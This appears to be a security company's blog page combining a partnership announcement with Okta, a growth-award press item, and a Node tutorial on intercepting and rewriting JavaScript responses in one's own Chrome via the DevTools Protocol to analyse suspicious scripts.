Every day, nearly 10 million valid credentials fall into the hands of criminals, fueling massive amounts of fraud. Shape’s new partnership with Okta aims to eliminate this fraud by providing Okta customers an invisible layer of defense against bots, credential stuffing attacks, and account takeover attempts. By implementing both solutions, businesses can have the very best in both identity and security to protect their workforces and consumers.

Businesses trust Okta for identity services across both single sign-on (SSO) and customer identity and access management (CIAM) portals. Shape’s partnership with Okta enhances security in both cases:

For Okta’s enterprise SSO customers, adding Shape provides a powerful, invisible layer of defense. Large credential breaches often include valid employee credentials. With Okta and Shape installed together, criminals will be further prevented from performing credential stuffing attacks using those stolen usernames and passwords.

For Okta’s CIAM customers, deploying Shape increases security without adding friction to the user experience. Shape enables businesses to eliminate CAPTCHAs and other consumer-unfriendly security measures on login pages while also preventing fraudulent account registrations.

The Okta and Shape partnership extends across all major touch points: web, mobile, and APIs. To learn more about using Shape to enhance your Okta SSO and customer portals, contact Shape or your Okta representative.

#1 Fastest Growing Company in Silicon Valley | Deloitte’s Technology Fast 500

FastestGrowing_Linkedin.jpgToday Shape was recognized as the fastest-growing company in Silicon Valley and the third-fastest growing company in the U.S. by Deloitte’s Technology Fast 500™, a ranking of the 500 fastest growing technology, media, telecommunications, life sciences and energy tech companies in North America.  Rankings are based on a company’s revenue growth from 2014 to 2017.

“We’re laser-focused on protecting our customers and we have an incredible team,” said Shape’s CEO, Derek Smith, who credits the 23,576 percent revenue growth to the company’s unceasing dedication to customer success. Smith continued, “This is why we are able to grow incredibly quickly while maintaining a 99 percent customer retention rate.”

00000IMG_00000_BURST20181114193632655_COVER  Derek Smith, Shape CEO, accepting the award on November 14, 2018.

“Congratulations to Shape and the other Deloitte 2018 Technology Fast 500 winners on this impressive achievement,” said Sandra Shirai, vice chairman, Deloitte LLP, and U.S. technology, media and telecommunications leader. “These companies are innovators who have converted their disruptive ideas into products, services and experiences that can captivate new customers and drive remarkable growth.”  

This is the latest honor for Shape, which has also been recognized by Fortune Magazine as one of the Top 100 companies in artificial intelligence, ranked by CNBC as one of the Top 50 most disruptive companies in the world, and named by Business Insider as one of the “25 Enterprise Startups to Bet Your Career On.”

Intercepting and Modifying responses with Chrome via the Devtools Protocol

At Shape we come across many sketchy pieces of JavaScript. We find scripts that are maliciously injected into pages, they might be sent by a customer for advice, or our security teams might find a resource on the web that seems to specifically reference some aspects of our service. As part of our everyday routine, we dive into the scripts head first to understand what they’re doing and how they work. They are usually minified, often obfuscated, and always require multiple levels of modification before they are really ready for deep analysis.

Until recently, the easiest way to do this analysis was either with locally cached setups that enable manual editing or by using proxies to rewrite content on the fly. The local solution is the most convenient, but websites do not always translate perfectly to other environments and it often leads people down a rabbit hole of troubleshooting just to get productive. Proxies are extremely flexible, but are usually cumbersome and not very portable – everyone has their own custom setup for their environment and some people are more familiar with one proxy vs another. I’ve started to use Chrome and its devtools protocol in order to hook into requests and responses as they are happening and modify them on the fly. This is portable to any platform that has Chrome, bypasses a whole slew of issues, and integrates well with common JavaScript tooling. In this post, I’ll go over how to intercept and modify JavaScript on the fly using Chrome’s devtools protocol.

We’ll use node but a lot of the content is portable to your language of choice provided you have the devtools hooks easily accessible.

First off, if you’ve never explored scripting Chrome, Eric Bidelman wrote up an excellent Getting Started Guide for Headless Chrome. The tips there apply to both Headless and GUI Chrome (with one quirk I’ll address in the next section).

Launching Chrome

We’ll use the chrome-launcher library from npm to make this easy.


npm install chrome-launcher

chrome-launcher does precisely what you think it would do and you can pass the same command line switches you’re used to from the terminal unchanged (a great list is maintained here). We’ll pass the following options:

  • –window-size=1200,800
    • Automatically set the window size to something reasonable.
  • –auto-open-devtools-for-tabs
    • Automatically open up the devtools because we use them frequently.
  • –user-data-dir=/tmp/chrome-testing
    • Set a constant user data directory. (Ideally we wouldn’t need this but non-headless mode on Mac OSX doesn’t seem to allow you to intercept requests without this flag. If you know of a better way, please let me know via Twitter!)

const chromeLauncher = require('chrome-launcher');

async function main() {

  const chrome = await chromeLauncher.launch({

    chromeFlags: [

      '--window-size=1200,800',

      '--user-data-dir=/tmp/chrome-testing',

      '--auto-open-devtools-for-tabs'

    ]

  });

}

main()

Try running your script to make sure you’re able to open Chrome. You should see something like this:

Screen Shot 2018-09-13 at 10.46.26 AM

Using the Chrome Devtools Protocol

This is also referred to as the “Chrome debugger protocol,” and both terms seem to be used interchangeably in Google’s docs 🤷‍♂️. First, install the package chrome-remote-interface via npm which gives us convenient methods to interact with the devtools protocol. Make sure to have the protocol docs handy if you want to dive in more deeply.


npm install chrome-remote-interface

To use the CDP, you need to connect to the debugger port and, because we’re using the chrome-launcher library, this is conveniently accessible via chrome.port.


const protocol = await CDP({ port: chrome.port });

Many of the domains in the protocol need to be enabled first, and we’re going to start with the Runtime domain so that we can hook into the console API and deliver any console calls in the browser to the command line.


const { Runtime } = protocol;

await Promise.all([Runtime.enable()]);

Runtime.consoleAPICalled(

   ({ args, type }) =>

   console[type].apply(console, args.map(a => a.value))

);

Now when you run your script, you get a fully functional Chrome window that also outputs all of its console messages to your terminal. That’s awesome on its own, especially for testing purposes!

Intercepting requests

First, we’ll need to register what we want to intercept by submitting a list of RequestPatterns to setRequestInterception. You can intercept at either the “Request” stage or the “HeadersReceived” stage and, to actually modify a response, we’ll need to wait for “HeadersReceived”. The resource type maps to the types that you’d commonly see on the network pane of the devtools.

Don’t forget to enable the Network domain as you did with Runtime, above, by adding Network.enable() to the same array.


await Network.setRequestInterception(

  { patterns: [

    {

      urlPattern: '*.js*',

      resourceType: 'Script',

      interceptionStage: 'HeadersReceived'

    }

  ] }

);

Registering the event handler is relatively straightforward and each intercepted request comes with an ​interceptionId that can be used to query information about the request or eventually issue a continuation. Here we’re just stepping in and logging every request we intercept to the terminal.


Network.requestIntercepted(async ({ interceptionId, request}) => console.log(

    `Intercepted ${request.url} {interception id: ${interceptionId}}`

  );

  Network.continueInterceptedRequest({

    interceptionId,

  });

});

Modifying requests

To modify requests we’ll need to install some helper libraries that will encode and decode base64 strings. There are loads of libraries available; feel free to pick your own. We’ll use atob and btoa.


npm install btoa atob

The API to deal with responses is a little awkward. To handle responses, you need to include all your response logic on the request interception (as opposed to simply intercepting a response, for example) and then you have to query for the body by the interception ID. This is because the body might not be available at the time your handler is called and this allows you to explicitly wait for just what you’re looking for. The body can also come base64 encoded so you’ll want to check and decode it before blindly passing it along.


const response = await Network.getResponseBodyForInterception({ interceptionId });

const bodyData = response.base64Encoded ? atob(response.body) : response.body;

At this point you’re free to go wild on the JavaScript. Your code puts you in the middle of a response allowing you to both access the complete JavaScript that was requested and send back your modified response. Awesome! We’ll just tweak the JS by appending a console.log at the end of it so that our terminal will get a message when our modified code is executed in the browser.


const newBody = bodyData + `\nconsole.log('Executed modified resource for ${request.url}');`;

We can’t simply pass along a modified body alone because the content might conflict with the headers that were sent with the original resource. Since you’re actively testing and tweaking, you’ll probably want to start with the basics before worrying too much about any other header information you need to convey. You can access the response headers via ​responseHeaders passed to the event handler if necessary, but for now we’ll just craft our own minimal set in an array for easy manipulation and editing later.


const newHeaders = [

  'Date: ' + (new Date()).toUTCString(),

  'Connection: closed',

  'Content-Length: ' + newBody.length,

  'Content-Type: text/javascript'

];

Sending the new response down requires crafting a full, base64 encoded HTTP response (including the HTTP status line) and sending it through a rawResponse property in the object passed to continueInterceptedRequest.


Network.continueInterceptedRequest({

  interceptionId,

  rawResponse: btoa(

    'HTTP/1.1 200 OK\r\n' +

    newHeaders.join('\r\n') +

    '\r\n\r\n' +

    newBody

  )

});

Now, when you execute your script and navigate around the internet, you’ll see something like the following in your terminal as your script intercepts JavaScript and also as your modified JavaScript executes in the browser and the ​console.log()s bubble up through the hook we made at the start of the tutorial.

Screen Shot 2018-09-13 at 11.16.22 AM

The complete working code for the basic example is here:


const chromeLauncher = require('chrome-launcher');

const CDP = require('chrome-remote-interface');

const atob = require('atob');

const btoa = require('btoa');

async function main() {

  const chrome = await chromeLauncher.launch({

    chromeFlags: [

      '--window-size=1200,800',

      '--user-data-dir=/tmp/chrome-testing',

      '--auto-open-devtools-for-tabs'

    ]

  });

  const protocol = await CDP({ port: chrome.port });

  const { Runtime, Network } = protocol;

  await Promise.all([Runtime.enable(), Network.enable()]);

  Runtime.consoleAPICalled(({ args, type }) => console[type].apply(console, args.map(a => a.value)));

  await Network.setRequestInterception({ patterns: [{ urlPattern: '*.js*', resourceType: 'Script', interceptionStage: 'HeadersReceived' }] });

  Network.requestIntercepted(async ({ interceptionId, request}) => {

    console.log(`Intercepted ${request.url} {interception id: ${interceptionId}}`);

    const response = await Network.getResponseBodyForInterception({ interceptionId });

    const bodyData = response.base64Encoded ? atob(response.body) : response.body;

    const newBody = bodyData + `\nconsole.log('Executed modified resource for ${request.url}');`;

    const newHeaders = [

      'Date: ' + (new Date()).toUTCString(),

      'Connection: closed',

      'Content-Length: ' + newBody.length,

      'Content-Type: text/javascript'

    ];

    Network.continueInterceptedRequest({

      interceptionId,

      rawResponse: btoa('HTTP/1.1 200 OK' + '\r\n' + newHeaders.join('\r\n') + '\r\n\r\n' + newBody)

    });

  });

}

main();

Where to go from here

You can start by pretty printing the source code, which is always a useful way to start reverse engineering something. Yes, of course, you can do this in most modern browsers but you’ll want to control each step of modification yourself in order to keep things consistent across browsers and browser versions and to be able to connect the dots as you analyze the source. When I’m digging into foreign, obfuscated code I like to rename variables and functions as I start to understand their purpose. Modifying JavaScript safely is no trivial exercise and that’s a blog post on its own, but for now you could use something like ​unminify to undo common minification and obfuscation techniques.

You can install unminify via npm and wrap your new JavaScript body with a call to ​unminify in order to see it in action:


const unminify = require('unminify');

[...]

const newBody = unminify(bodyData + `\nconsole.log('Intercepted and modified ${request.url}');`);

We’ll dive more into the transformations in the next post. If you have any questions, comments, or other neat tricks, please reach out to me via Twitter!